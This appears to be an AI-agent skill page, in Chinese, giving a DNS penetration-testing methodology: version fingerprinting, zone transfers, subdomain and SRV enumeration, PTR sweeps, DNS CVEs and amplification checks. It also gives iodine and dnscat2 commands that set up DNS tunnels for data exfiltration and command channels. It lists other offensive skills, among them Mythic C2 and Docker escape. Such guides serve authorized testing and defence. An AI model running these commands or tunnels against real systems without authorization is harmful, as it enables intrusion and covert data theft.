skills/exploit/network-service/dns-pentesting/SKILL.md
DNS 服务(53 端口)渗透测试方法论。涵盖 DNS 服务发现与版本识别、区域传送测试(AXFR)、子域名枚举、DNS 缓存侦察、反向查询、DNS 隧道检测、已知漏洞利用。 当 Agent 扫描发现 53 端口开放、需要枚举 DNS 记录与子域名、测试区域传送、或通过 DNS 进行数据传输时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity dns-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 53 端口开放 (TCP/UDP)
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 DNS 软件与版本 (BIND / Windows DNS / dnsmasq / PowerDNS)
│ ├─ 判断是否权威服务器 (authoritative) 还是递归解析器 (recursive)
│ └─ 检查递归查询是否开放
│ ├─ 开放 -> 标记为可被滥用 (DNS 放大攻击),同时利用递归获取缓存信息
│ └─ 关闭 -> 仅可查询该服务器负责的区域
├─ Phase 2: 区域传送测试 (AXFR)
│ ├─ 成功 -> 获取完整区域记录,提取所有主机名、IP、内部域名
│ └─ 失败 -> 进入 Phase 3/4 逐步枚举
├─ Phase 3: DNS 记录枚举
│ ├─ A / AAAA / MX / NS / TXT / SOA / SRV / CNAME
│ ├─ AD 环境 SRV 记录 (_kerberos / _ldap / _gc)
│ └─ DNSSEC 记录 (DNSKEY / DS / NSEC / NSEC3)
│ └─ NSEC 遍历 -> 枚举所有域名 (未使用 NSEC3 时)
├─ Phase 4: 子域名枚举
│ ├─ 字典爆破 (dnsenum / dnsrecon / fierce / gobuster dns)
│ ├─ NSEC walking (针对 DNSSEC 签名域)
│ └─ 被动收集 (crt.sh / SecurityTrails / 不在本 skill 范围)
├─ Phase 5: 反向查询
│ ├─ PTR 记录反向解析 (目标 IP 段)
│ ├─ 发现内部主机名 -> 扩大攻击面
│ └─ 交叉验证 A 记录与 PTR 记录一致性
├─ Phase 6: DNS 隧道检测与利用
│ ├─ 检测 -> 观察异常长 TXT/NULL 查询、高频子域查询
│ └─ 利用 -> 通过 DNS 建立隐蔽数据通道 (iodine / dnscat2 / dns2tcp)
└─ Phase 7: 已知漏洞
├─ BIND 版本已知 -> 查询对应 CVE
├─ DNS 缓存投毒 (Kaminsky attack variant)
└─ DNS 递归放大 (DDoS 反射)
# Nmap 基础扫描 — TCP/UDP 均需覆盖
nmap -sV -sC -p 53 <IP>
nmap -sU -sV -p 53 <IP>
# Nmap DNS 专项脚本
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
DNS 版本识别
├─ BIND nameserver
│ ├─ dig version.bind CHAOS TXT @<IP>
│ └─ dig version.server CHAOS TXT @<IP>
├─ fpdns 指纹工具
│ └─ fpdns -D <IP>
├─ Nmap nsid 脚本
│ └─ nmap -sU -p 53 --script dns-nsid <IP>
└─ 判断结果
├─ BIND 9.x -> 记录精确版本,查询 CVE
├─ Windows DNS -> 通常不返回版本,结合 OS 指纹推断
└─ dnsmasq / PowerDNS -> 各有特定漏洞历史
关键判断:
# 查询外部域名 — 如果返回结果则递归开放
dig google.com A @<IP>
# 检查响应中 "ra" (recursion available) 标志
# flags: qr rd ra -> 递归可用
# flags: qr rd -> 递归不可用
测试区域传送
├─ 已知域名
│ ├─ dig axfr <DOMAIN> @<IP>
│ └─ 成功 -> 导出完整区域文件,提取所有记录
├─ 域名未知
│ ├─ dig axfr @<IP> (无域名尝试)
│ ├─ 通过 SOA 查询获取域名: dig SOA @<IP> <IP_range>
│ └─ 通过反向解析猜测域名
├─ fierce 自动尝试
│ └─ fierce --domain <DOMAIN> --dns-servers <IP>
│ (自动对每个权威 NS 尝试区域传送,失败后进行字典爆破)
└─ 结果处理
├─ 成功 -> 保存完整记录,提取内部 IP、主机名、邮件服务器
└─ 失败 (REFUSED / NOTAUTH) -> 配置正确,进入其他枚举方式
从区域文件中提取的高价值信息:
# 标准记录查询
dig ANY @<IP> <DOMAIN>
dig A @<IP> <DOMAIN>
dig AAAA @<IP> <DOMAIN>
dig TXT @<IP> <DOMAIN>
dig MX @<IP> <DOMAIN>
dig NS @<IP> <DOMAIN>
dig SOA @<IP> <DOMAIN>
dig CNAME @<IP> <DOMAIN>
dig SRV @<IP> _http._tcp.<DOMAIN>
AD 环境 DNS 枚举
├─ 域控定位
│ ├─ dig -t SRV _gc._tcp.<DOMAIN> @<IP>
│ ├─ dig -t SRV _ldap._tcp.<DOMAIN> @<IP>
│ ├─ dig -t SRV _kerberos._tcp.<DOMAIN> @<IP>
│ └─ dig -t SRV _kpasswd._tcp.<DOMAIN> @<IP>
├─ nslookup 交互查询
│ └─ nslookup -type=srv _kerberos._tcp.<DOMAIN> <IP>
└─ Nmap SRV 枚举脚本
└─ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<DOMAIN>'"
关键判断:发现 AD SRV 记录 -> 确认域环境存在,联动 ad-domain-attack skill
DNSSEC 检查
├─ 查询 DNSKEY 和 DS 记录
│ ├─ dig DNSKEY <DOMAIN> @<IP> +dnssec
│ └─ dig DS <DOMAIN> @<IP>
├─ NSEC 记录遍历 (zone walking)
│ ├─ 域使用 NSEC (非 NSEC3) -> 可枚举所有域名
│ └─ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<DOMAIN> <IP>
└─ NSEC3 -> 哈希保护,需离线破解或放弃遍历
子域名爆破策略
├─ dnsenum
│ └─ dnsenum --dnsserver <IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
├─ dnsrecon
│ └─ dnsrecon -D <WORDLIST> -d <DOMAIN> -n <IP>
├─ dnscan (支持递归发现)
│ └─ dnscan -d <DOMAIN> -r -w <WORDLIST>
├─ gobuster dns 模式
│ └─ gobuster dns -d <DOMAIN> -w <WORDLIST> -r <IP>:53
└─ 字典选择
├─ 快速: subdomains-top1million-5000.txt
├─ 标准: subdomains-top1million-20000.txt
└─ 深度: subdomains-top1million-110000.txt (SecLists)
# 使用 AAAA 请求爆破 IPv6 地址
dnsdict6 -s -t <DOMAIN>
# IPv6 反向枚举
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48
反向解析策略
├─ 目标网段 PTR 扫描
│ ├─ dnsrecon -r <IP_RANGE>/24 -n <IP>
│ ├─ dig -x <TARGET_IP> @<IP>
│ └─ dig -x <TARGET_IPv6> @<IP>
├─ 内网常见段
│ ├─ dnsrecon -r 127.0.0.0/24 -n <IP>
│ └─ dnsrecon -r 127.0.1.0/24 -n <IP>
└─ 结果分析
├─ 发现内部主机名 -> 构建主机名列表用于后续枚举
└─ 发现子域 -> 将其作为 AXFR/爆破的新目标
提示:如果子域名解析到内部 IP,尝试对该域名的权威 NS 进行反向 DNS 爆破,可能暴露更多内部基础设施。
BGP 路由信息可辅助确定目标 IP 段归属:https://bgp.he.net/net/<IP_RANGE>#_dns
DNS 隧道特征识别
├─ 网络层指标
│ ├─ 异常长的 DNS 查询 (>50 字节子域名)
│ ├─ 高频 TXT / NULL / CNAME 查询
│ ├─ 单一域名的超高查询量
│ └─ DNS over TCP 流量异常增多
├─ 检测工具
│ ├─ tcpdump -i <IFACE> -n port 53 (人工分析)
│ ├─ Wireshark dns 过滤器 + 统计分析
│ └─ Zeek/Bro dns.log 异常检测
└─ 判断
├─ 发现隧道 -> 分析隧道工具类型,评估数据泄露风险
└─ 未发现 -> 可自行建立隧道用于数据渗出
DNS 隧道工具选择
├─ iodine (IP-over-DNS)
│ ├─ 需要控制一个域名的 NS 记录
│ ├─ 服务端: iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.<DOMAIN>
│ └─ 客户端: iodine -f -P <PASSWORD> tunnel.<DOMAIN>
├─ dnscat2 (命令控制通道)
│ ├─ 服务端: dnscat2-server <DOMAIN>
│ └─ 客户端: dnscat2 <DOMAIN>
└─ dns2tcp
├─ 适用于 TCP 端口转发
└─ 配置文件方式运行
DNS 版本已知
├─ BIND 漏洞
│ ├─ CVE-2021-25216 — BIND 9.x GSS-TSIG 缓冲区溢出
│ ├─ CVE-2020-8617 — BIND 9.x TSIG 验证绕过导致 DoS
│ ├─ CVE-2017-3143 — TSIG 认证绕过允许未授权区域更新
│ ├─ CVE-2016-2776 — BIND 9.x 响应构造 DoS
│ └─ 旧版本 -> 搜索 "BIND <version> CVE"
├─ Windows DNS
│ ├─ CVE-2020-1350 (SIGRed) — Windows DNS Server RCE (CVSS 10.0)
│ │ └─ 检测: nmap -p 53 --script dns-check-zone <IP> + 版本确认
│ └─ CVE-2021-24078 — Windows DNS Server RCE
├─ dnsmasq
│ ├─ CVE-2020-25681~25687 (DNSpooq) — 缓冲区溢出 + 缓存投毒
│ └─ CVE-2017-14491 — dnsmasq 堆溢出 RCE
├─ DNS 缓存投毒
│ ├─ 检测随机 TXID: nmap --script dns-random-txid <IP>
│ ├─ 检测随机源端口: nmap --script dns-random-srcport <IP>
│ └─ 两者均弱 -> Kaminsky 攻击变体可行
└─ DNS 递归放大 (DDoS)
├─ 递归开放 + ANY 查询响应 -> 放大因子高
└─ dig ANY <LARGE_DOMAIN> @<IP> (测试放大比)
# DNS 枚举
auxiliary/gather/enum_dns
# DNS 放大扫描
auxiliary/scanner/dns/dns_amp
获得 DNS 服务器访问权限后,检查以下配置文件:
| 文件路径 | 关注内容 |
|---------|---------|
| /etc/bind/named.conf | allow-transfer / allow-recursion / allow-query 配置 |
| /etc/bind/named.conf.local | 区域定义、密钥文件路径 |
| /etc/bind/named.conf.options | 转发器、ACL 策略 |
| /etc/resolv.conf | 上游 DNS 服务器 |
| host.conf | 解析顺序配置 |
| /etc/bind/named.conf.log | 日志配置、可能泄露查询历史 |
关键配置审计:
allow-transfer { any; } -> 区域传送未限制allow-recursion { any; } -> 递归查询对外开放allow-query { any; } -> 无查询来源限制向目标域不存在的邮箱地址发送邮件,NDN(不可送达通知)回弹邮件的头部可能泄露内部服务器名称和 IP 地址。
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能